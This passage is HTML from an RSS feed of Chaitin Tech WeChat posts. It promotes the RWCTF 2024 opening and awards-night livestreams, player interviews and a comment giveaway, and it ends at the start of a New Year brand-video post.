0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 255, 255);font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;letter-spacing: 0.034em;">欲知对战结果如何，赛后选手连麦环节见！</span></section><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(246, 180, 44);font-size: 40px;letter-spacing: 1.5px;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> 深度局</strong></span></p><section data-role="title" data-tools="135编辑器" data-id="103165" style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 10px auto;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><section style="margin: 3px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="margin: 0px 0px 0px 10px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;letter-spacing: 2px;color: rgb(246, 180, 44);"><p style="text-align:justify;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;line-height: 1.75em;"><span style="color: rgb(255, 255, 255);"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;background-color: rgb(246, 180, 44);box-sizing: border-box !important;overflow-wrap: break-word !important;">“失控的可能是人，而不是那个AI”</span></strong></span></p></section></section></section></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">每一年，RWCTF都在用技术与世界对话。从敬畏生命韵律的“抗疫”募捐，到用技术书写更高更快更强的“奥林匹克”，从探索宇宙万物变化的“第五元素”到AI浪潮中徘徊在虚拟与现实边界之处的“第四面墙”。</span></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">作为计算机世界的顶级“猎手”，他们如何看待技术的浪潮？</span></section><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 40px;letter-spacing: 1.5px;color: rgb(224, 47, 138);"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"> CTFer</strong></span></p><p style="text-align:left;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;line-height: 2.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#39;Helvetica Neue&#39;, &#39;PingFang SC&#39;, &#39;Hiragino Sans GB&#39;, &#39;Microsoft YaHei UI&#39;, &#39;Microsoft YaHei&#39;, Arial, sans-serif;color: rgb(224, 47, 138);font-size: 40px;letter-spacing: 1.5px;caret-color: red;">“贴脸开大”局</strong></p><section data-role="title" data-tools="135编辑器" data-id="103165" style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="margin: 10px auto;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><section style="margin: 3px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: flex;justify-content: flex-start;align-items: center;"><section data-brushtype="text" style="margin: 0px 0px 0px 10px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 14px;letter-spacing: 2px;color: #e02f8a;"><p style="text-align:justify;margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: 14px;line-height: 1.75em;"><span style="color:#ffffff;"><strong style="margin: 0px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: red;"><span style="margin: 0px;padding: 0px;max-width: 100%;line-height: 1.87em;background-color: rgb(224, 47, 138);box-sizing: border-box !important;overflow-wrap: break-word !important;"> “您，请说” </span></strong></span></p></section></section></section></section><p style="font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">Q：“最强大脑对打CTF有什么帮助吗？”</span></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">Q：“CTF最讨厌哪一类题目？”</span></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">Q：“在全国最顶级的队伍打比赛是种什么体验？”</span></section><section style="text-align: left;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;color: rgb(255, 255, 255);">... ...</span></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-size: 15px;line-height: 1.87em;color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">答案都在这里👇👇👇</span></section><section style="text-align: left;font-size: 16px;margin: 0px 16px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="1544" data-backw="558" data-ratio="2.7675925925925924" data-w="1080" data-imgfileid="100017856" style="margin: 0px;padding: 0px;height: auto;vertical-align: inherit;width: 100%;overflow-wrap: break-word !important;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=15850b74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFuleibl6qMuq1Ddibopzm7Z6Zg3ukfqlMEbyQgQM8po6zqxdIhX6dN1TrFDoIebOUrLL088bsaCbkmWalMria241A%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="905" data-backw="558" data-ratio="1.6222222222222222" data-w="1080" data-imgfileid="100017855" style="margin: 0px;padding: 0px;height: auto;vertical-align: inherit;width: 100%;overflow-wrap: break-word !important;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=4576fc72&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFuleibl6qMuq1Ddibopzm7Z6Zg3ukfqlMEJDticObZ4z8ibpVbuBLFmlsKXgUkuZuCIib1Wkwic7CXO52Ik9samwMNLA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="1625" data-backw="558" data-ratio="2.912037037037037" data-w="1080" data-imgfileid="100017857" style="margin: 0px;padding: 0px;height: auto;vertical-align: inherit;width: 100%;overflow-wrap: break-word !important;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=485f932c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFuleibl6qMuq1Ddibopzm7Z6Zg3ukfqlMEyJXM9reX9yKF8ib7s9Jp4ypRk7FGAwQ0FJFRmdbUKosDgsSSLJHwHoQ%2F640%3Fwx_fmt%3Djpeg"/></p><section data-tools="135编辑器" data-id="112168"><section style="margin: 20px auto;"><section style="max-width: 100% !important;width: 100%;margin: auto;box-sizing:border-box;" data-width="100%"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 560 60" style="enable-background:new 0 0 560 60;" xml:space="default"><polygon style="fill:#f2f2f2;" points="0,23.83 0,60 560,60 560,14.39 547.06,5.19 532.11,13.21 520.62,0 499.92,12.74 486.69,2.36 
	470.6,13.21 453.92,1.89 443.57,11.8 437.82,1.42 418.85,12.74 407.93,0.94 390.68,11.8 361.36,3.77 332.61,13.68 322.26,0 
	306.74,12.74 297.54,2.83 287.19,12.74 275.81,4.26 268.34,15.12 274.84,42.43 215.89,2.36 203.24,16.04 179.67,3.77 157.82,18.4 
	141.15,6.61 111.83,34.44 93.43,16.04 84.23,21.7 74.46,10.85 64.68,22.18 49.16,10.38 33.06,22.65 22.71,12.74 "></polygon></svg></section><section style="display: flex;justify-content: space-between;align-items: center;background-color: #f2f2f2;padding:20px 15px;margin-top:-7px;box-sizing:border-box;"><section style="width: 35%;box-sizing:border-box;max-width:35% !important;" data-width="35%"><section style="width: 100px;box-sizing:border-box;"><img data-ratio="1" data-w="400" data-imgfileid="100017854" style="vertical-align: inherit;width: 100%;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d25ddb45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMupq81Sls0OUMBSvrVd60qTB7Tv6YP4HBJJQHMoe8OrLPGCNyrPmorvlmnopvG8nN59kgXzCHbCujQ%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="width: 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><section data-brushtype="text" style="font-size: 14px;color: #333333;text-align: left;">RWCTF 2024 开赛之夜</section><section style="padding: 8px 0;box-sizing:border-box;"><strong data-brushtype="text" style="font-size: 16px;color: #333333;text-align: left;">B站直播，同步开启</strong></section><section style="width: 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 200 30" style="enable-background:new 0 0 200 30;" xml:space="default"><path style="fill:none;stroke:#00b050;stroke-width:2;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10;" d="M33.13,1c0,10.27-14.07,28-31.16,28S199,29,199,29"></path></svg></section></section></section></section></section><section style="font-size: 16px;margin: 0px auto;padding: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></section><section class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_live_iframe" data-pluginname="mpvideosnap" data-headimgurl="https://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="将在01月26日 18:00 直播" data-livewording="预约" data-intro="第6届Real World CTF开赛之夜&lt;br&gt;" data-type="live" data-status="0" data-noticeid="finderlivenotice-v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder-1705046283077915-1599994830" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="text-align:justify;font-size: 16px;margin: 0px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-backh="1240" data-backw="558" data-ratio="2.2222222222222223" data-w="1080" data-imgfileid="100017858" style="margin: 0px;padding: 0px;height: auto;vertical-align: inherit;width: 100%;overflow-wrap: break-word !important;box-sizing:border-box;max-width:100% !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=f244da61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FFuleibl6qMuq1Ddibopzm7Z6Zg3ukfqlMEGBvDhSNOYOCSSrH7gZq4iaPkpol1qwcSoVUFasGHrkYYiaq7DjHUVsEg%2F640%3Fwx_fmt%3Djpeg"/></p><section data-tools="135编辑器" data-id="112168"><section style="margin: 20px auto;"><section style="max-width: 100% !important;width: 100%;margin: auto;box-sizing:border-box;" data-width="100%"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 560 60" style="enable-background:new 0 0 560 60;" xml:space="default"><polygon style="fill:#f2f2f2;" points="0,23.83 0,60 560,60 560,14.39 547.06,5.19 532.11,13.21 520.62,0 499.92,12.74 486.69,2.36 
	470.6,13.21 453.92,1.89 443.57,11.8 437.82,1.42 418.85,12.74 407.93,0.94 390.68,11.8 361.36,3.77 332.61,13.68 322.26,0 
	306.74,12.74 297.54,2.83 287.19,12.74 275.81,4.26 268.34,15.12 274.84,42.43 215.89,2.36 203.24,16.04 179.67,3.77 157.82,18.4 
	141.15,6.61 111.83,34.44 93.43,16.04 84.23,21.7 74.46,10.85 64.68,22.18 49.16,10.38 33.06,22.65 22.71,12.74 "></polygon></svg></section><section style="display: flex;justify-content: space-between;align-items: center;background-color: #f2f2f2;padding:20px 15px;margin-top:-7px;box-sizing:border-box;"><section style="width: 35%;box-sizing:border-box;max-width:35% !important;" data-width="35%"><section style="width: 100px;box-sizing:border-box;"><img data-ratio="1" data-w="400" data-width="100%" data-imgfileid="100017859" style="vertical-align:inherit;width: 100%;display: block;border-radius: 10px;box-sizing:border-box;max-width:100% !important;" title="undefined" src="https://wechat2rss.xlab.app/img-proxy/?k=454c4ce5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FFuleibl6qMupq81Sls0OUMBSvrVd60qTBx7C2RVSibyViaoMicaAntGU94A8bu3vDocBhmOE6MxnA7ISCElO2CyAXw%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="width: 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><section data-brushtype="text" style="font-size: 14px;color: #333333;text-align: left;">RWCTF 2024 荣耀之夜</section><section style="padding: 8px 0;box-sizing:border-box;"><strong data-brushtype="text" style="font-size: 16px;color: #333333;text-align: left;">B站直播，同步开启</strong></section><section style="width: 60%;box-sizing:border-box;max-width:60% !important;" data-width="60%"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 200 30" style="enable-background:new 0 0 200 30;" xml:space="default"><path style="fill:none;stroke:#00b050;stroke-width:2;stroke-linecap:round;stroke-linejoin:round;stroke-miterlimit:10;" d="M33.13,1c0,10.27-14.07,28-31.16,28S199,29,199,29"></path></svg></section></section></section></section></section><section class="channels_iframe_wrp"><br/><mp-common-videosnap class="js_uneditable custom_select_card channels_live_iframe" data-pluginname="mpvideosnap" data-headimgurl="https://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="将在01月28日 19:00 直播" data-livewording="预约" data-intro="第6届Real World CTF荣耀之夜" data-type="live" data-status="0" data-noticeid="finderlivenotice-v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder-1705311178791672-837334425" data-isdisabled="0" data-errortips=""></mp-common-videosnap></section><section><br/></section><section><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100017861" data-ratio="1.1851851851851851" data-s="300,640" style="" data-type="png" data-w="972" src="https://wechat2rss.xlab.app/img-proxy/?k=df411171&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FtzAD45OOV0aqUALCZEoG5HkNon3w6pw21rRSHzzBbtUpeqG60tgvgGMJpUIKRV9dmXtPAFYovJ2zFdibl0ZrejQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><br/></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">点击阅读原文跳转“长亭科技”公众号</span></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">在原文</span></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);"><span style="color: rgb(255, 255, 255);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 169, 0);">评论区留言或提问</span></span><br/></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">在【开赛之夜】被CTF大佬</span></p><p style="text-align: center;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(255, 255, 255);background-color: rgb(255, 169, 0);">“翻牌”互动！</span></p><p style="text-align: center;"><span style="color: rgb(255, 255, 255);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">被“翻牌”的幸运儿将同时获赠<br/></span></p><p style="text-align: center;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 209, 0);font-size: 24px;">【RWCTF 2024定制卫衣】</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/tzAD45OOV0aqUALCZEoG5HkNon3w6pw2xaG95xzDhKA8oR6rEwniae723TphMzytQgOSmP4I07GC84OuoibjVV4Q/640?wx_fmt=png" data-cropx1="0" data-cropx2="1007" data-cropy1="0" data-cropy2="333.8620071684588" data-galleryid="" data-imgfileid="100017860" data-ratio="0.33068520357497516" data-s="300,640" style="width: 558px;height: 185px;" data-type="jpeg" data-w="1007" src="https://wechat2rss.xlab.app/img-proxy/?k=ea345afa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0aqUALCZEoG5HkNon3w6pw2Mb5q5bA5uvlMBDpJJibiajIcwa0iaElHJqrmMyibnWXpKSyO2SRQJcPJlg%2F640%3Fwx_fmt%3Djpeg"/><span style="color: rgb(0, 209, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 24px;letter-spacing: 0.034em;"></span></p><section style="text-align: center;"><br mpa-from-tpl="t"/></section><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin: 5px auto;white-space: normal;" mpa-from-tpl="t"><blockquote style="white-space: normal;text-align: center;padding: 12px 8px;background-color: rgb(45, 163, 7);margin: 0px;max-width: 100%;border-radius: 5px;border-width: initial;border-style: none;border-color: initial;" mpa-from-tpl="t"><span style="max-width: 100%;color: white;"><strong style="max-width: 100%;" mpa-from-tpl="t">点击左下角跳转原文</strong></span></blockquote><p><img data-imgfileid="100017863" data-ratio="0.7916666666666666" style="border-width: 0px;height: auto !important;" data-type="gif" data-w="48" src="https://wechat2rss.xlab.app/img-proxy/?k=670636e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FtzAD45OOV0aqUALCZEoG5HkNon3w6pw2lE4CZDsh9VmIIhmVYYvJS1aqkNrGP52whhuLzLBQ4yycNcUicash7sA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></section></section></section><section style="text-align: center;"><br/></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://mp.weixin.qq.com/s/3sznT7DExfzl8Y1mvBtV6Q#rd">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7d6689e5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501512%26idx%3D1%26sn%3D3618406259020aa9a3a52f6db70dbf7d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 26 Jan 2024 12:53:00 +0800</pubDate>
    </item>
    <item>
      <title>贺岁片｜我是长亭科技，2024年焕新亮相！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501430&amp;idx=1&amp;sn=782199f834c174971e489572b63dc02e</link>
      <description>今天，咱来看点不一样的</description>
      <content:encoded><![CDATA[<p>
<span>长亭科技</span> <span>2024-01-22 14:35</span> <span style="display: inline-block;">北京</span>
</p>

<p>今天，咱来看点不一样的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d519e20e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FtzAD45OOV0asyFicz80Lz7ibCtw1LCSMuSib9WCL4jn4yQY40H2QtVvGxINUKDJkZpCn2OiaKUDMTX9dqaWC9blOgg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br/></p><section style="height: 0;opacity: 0;margin: 0;">·</section><section style="background-position: center top;background-repeat: repeat;background-size: 100%;margin: 0px !important;padding: 0px !important;" data-copyright="135编辑器"><section style=""><section data-copyright="135编辑器" data-id="1" data-name="无缝图（点击不可弹出）" data-plugin="imgnopop" data-template="%7B%22block_id%22%3A1705625355589%2C%22margin%22%3A%7B%22top%22%3A-1%2C%22bottom%22%3A-1%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22padding%22%3A%7B%22top%22%3A0%2C%22bottom%22%3A0%2C%22left%22%3A0%2C%22right%22%3A0%7D%2C%22plugin%22%3A%22imgnopop%22%2C%22template%22%3A%7B%22name%22%3A%22%E6%97%A0%E7%BC%9D%E5%9B%BE%EF%BC%88%E7%82%B9%E5%87%BB%E4%B8%8D%E5%8F%AF%E5%BC%B9%E5%87%BA%EF%BC%89%22%2C%22id%22%3A%221%22%2C%22cate_id%22%3A%221%22%2C%22sub_cate_id%22%3A%22%2C1%2C%22%7D%2C%22custom%22%3A%7B%22superMode%22%3Afalse%2C%22img%22%3A%7B%22u%22%3A%22https%3A%2F%2Fbexp.135editor.com%2Ffiles%2Fusers%2F214%2F2149584%2F202401%2FMzS4EGUq_DvYM.jpg%3Fauth_key%3D1705852799-0-0-89ead44bc0e4d130b347fb61f3e350a8%22%2C%22w%22%3A1080%2C%22h%22%3A1471%2C%22size%22%3A%22cover%22%2C%22sw%22%3A%22100%25%22%7D%2C%22sw%22%3A%22100%25%22%7D%7D" style="margin: -1px 0px -1px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="1" data-inner-name="135editor-imgnopop"><section style="font-size: 0 !important;line-height: 0 !important;margin: -1px 0 0 !important;padding: 0 !important;text-align: center;transform: scale(1);"><svg style="line-height: 0;display: inline-block;svg: 135;box-sizing: border-box;width: 100%;-webkit-user-select: none;-moz-user-select: none;-ms-user-select: none;-o-user-select: none;user-select: none;vertical-align: top;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_jpg/Fuleibl6qMupcW45twN824nzRZicHGKWILFj4VwvsgKEIYLxXPM55ic2LZ5b6ibzJtnuy4Z8ia5KcPL1XbRRGRz0xEw/640&#34;);background-repeat: no-repeat;background-size: cover;background-position: top center;" viewBox="0 0 1080 1471" vsersion="2D1EF4LMN9584" xml=""></svg></section></section></section></section><section style=""><section data-copyright="135编辑器" data-id="76" data-name="视频号" data-plugin="channelcard" style="margin: 0px 0px 0px 0px;padding: 0px 0px 0px 0px;transform: rotateZ(0deg) scale(1);"><section data-inner-id="76" data-inner-name="135editor-channelcard"><section style="font-size: 0;line-height: 0;margin: 0;overflow: hidden;padding: 0;pointer-events: painted;transform: scale(1);"><section style="height: 0;"><section style="display: flex;flex-direction: column;opacity: 0;transform: scale(60);vertical-align: top;" class="channels_iframe_wrp"><mp-common-videosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="mpvideosnap" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=S7s6ianIic0ia4PicKJSfB8EjyjpQibPUAXolwK5tb7BG25PpJoicbAFoyObFyuQLgicZHa6F1a10bzQ2TE9YoOicGXYMP1w5e9TseNfBfAScn6iclIMib3Auqd7Zicpw&amp;bizid=1023&amp;dotrans=0&amp;hy=SZ&amp;idx=1&amp;m=&amp;scene=0&amp;token=x5Y29zUxcibDOQYomric7C3QxFr66QVeIODCXqbHMWbgtXPePHHVq71aIaMGuIKerYY9dNxiaz3PpY" data-headimgurl="http://wx.qlogo.cn/finderhead/4z6EicEGJeO1ZBwot9AOVYOzzZEU42sdQC0r955EjGNU/0" data-username="v2_060000231003b20faec8cae18d18c4d2ca03eb3db077edf5359141f10c12480fa838d9e93115@finder" data-nickname="长亭科技" data-desc="术，技术，亦是道
长亭科技，初心不变
